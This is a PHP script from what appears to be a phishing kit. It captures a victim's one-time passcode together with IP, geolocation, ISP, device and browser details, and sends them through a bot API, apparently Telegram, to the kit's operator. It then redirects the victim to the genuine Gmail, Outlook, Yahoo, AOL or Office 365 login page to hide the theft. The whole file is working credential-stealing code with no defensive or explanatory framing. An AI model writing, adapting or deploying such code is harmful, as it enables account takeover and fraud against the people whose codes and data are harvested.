<?php
session_start();
ob_start();

if($_SERVER['REQUEST_METHOD'] == 'POST'){

require_once(__DIR__ . '/config.php');
require_once(__DIR__ . '/includes/detect.php');
require_once(__DIR__ . '/includes/bot_api.php');

$detail = $_POST['detail'];


$text = '<blockquote> <b>IP:</b> <code>'.$_SESSION['user_data']['query'].'</code> </blockquote><blockquote> <b>🔔 NEW LOGIN</b> </blockquote>
<b>COUNTRY:</b> <code>'.$_SESSION['user_data']['countryCode'].'</code>
<b>ISP:</b> <code>'.$_SESSION['user_data']['isp'].'</code>
<b>ORG:</b> <code>'.$_SESSION['user_data']['org'].'</code>
<b>ASN:</b> <code>'.$_SESSION['user_data']['as'].'</code>
<b>DEVICE:</b> <code>'.$_SESSION['device'].'</code>
<b>BROWSER:</b> <code>'.$_SESSION['browser'].'</code>
<b>OS:</b> <code>'.$_SESSION['os'].'</code>
<b>USER AGENT:</b> <code>'.$_SERVER['HTTP_USER_AGENT'].'</code>

<blockquote><b>'.$_POST['detail'].'</b></blockquote>
<b>OTP:</b> <code>'.$_POST['otp'].'</code>';

bot_api($text);

$user = [
    "Other Mail" => "https://www.identityprotectionreview.com/best-identity-theft-protection?gclid=Cj0KCQiAxc6PBhCEARIsAH8Hff2U9BI7NpguMD4GmbPstWkLdqRDxtXd7Axw9VRlEFW3YsOTTrJzXb8aAoVgEALw_wcB",
    "Aol" => "https://login.aol.com/",
    "Office 365" => "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?scope=service%3A%3Aaccount.microsoft.com%3A%3AMBI_SSL%20openid%20profile%20offline_access&response_type=code&client_id=81feaced-5ddd-41e7-8bef-3e20a2689bb7&redirect_uri=https%3A%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin-oauth&client-request-id=ae0637c3-65c3-48c8-8cec-cb6cff1ab65c&x-client-SKU=MSAL.Desktop&x-client-Ver=4.61.3.0&x-client-OS=Windows%20Server%202019%20Datacenter&prompt=login&client_info=1&state=H4sIAAAAAAAEAA3HSWKqMAAA0Lt0y0KiIrIMLUMoCsiY7FISEJmxpIHT__9278OppJXF9aXJZWwZ4dH7rOd9cSo2VdqS0teCdgievCgB1M6HRVwBBmomSMmiQ4hnwWbrNcLW5W7nj2cs5SKcunwitZr8gRjhlsRzeL2EzFzbwM0GfasHCIMtot53gCM_Vpi65vevry7wE9xmwh12F6Co-ME9N5nsjMHqve62Mazoe7m-w037JuKUx39zaoOG0nUiaYte9rFJhzJhFj87swCNT-77fWYq5JFW9c2VJNWnIhXdeCN6MbG_Pww8Xg5IMZrXBnsB9qO-UiYnj0gE99mB_fTQ_k-brjkfHbnmNsDvO-9kZvvIzRHdYD3S7paW_NGuXfO7ilP6DCWZkv4ZuCJ31ppyUZyKt1TtwNxucdN2hsh1Yv9msvDOJig__gHXrL2qggEAAA&msaoauth2=true&lc=1033&ru=https%3A%2F%2Faccount.microsoft.com%2Faccount%2Fmanage-my-account&sso_reload=true",
    "Yahoo" => 'https://login.yahoo.com/',
    'Outlook' => 'https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=170&ct=1737926296&rver=7.5.2211.0&wp=MBI_SSL&wreply=https%3a%2f%2foutlook.live.com%2fowa%2f%3fnlp%3d1%26cobrandid%3dab0455a0-8d03-46b9-b18b-df2f57b9e44c%26deeplink%3dowa%252f%26RpsCsrfState%3d6c050ca0-b2c3-5ab7-6e20-66b9cb403539&id=292841&aadredir=1&CBCXT=out&lw=1&fl=dob%2cflname%2cwld&cobrandid=ab0455a0-8d03-46b9-b18b-df2f57b9e44c',
    'Gmail' => 'https://accounts.google.com/v3/signin/identifier?service=mail&ifkv=AVdkyDkdllGZWeriSKbpEluBXYnVs8sg4ugj5EaOe0V6j5pBxws0Kho65dKhkTk3fk4Ls4SSezOZbw&ddm=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin&continue=https%3A%2F%2Fmail.google.com%2Fmail'

];
if (array_key_exists($detail, $user)) {
    // Redirect to the corresponding URL
    header("Location: " . $user[$detail]);
    exit(); // Stop further execution after redirect
} else {
    echo "Invalid detail provided."; // Handle invalid inputs
}

}


?>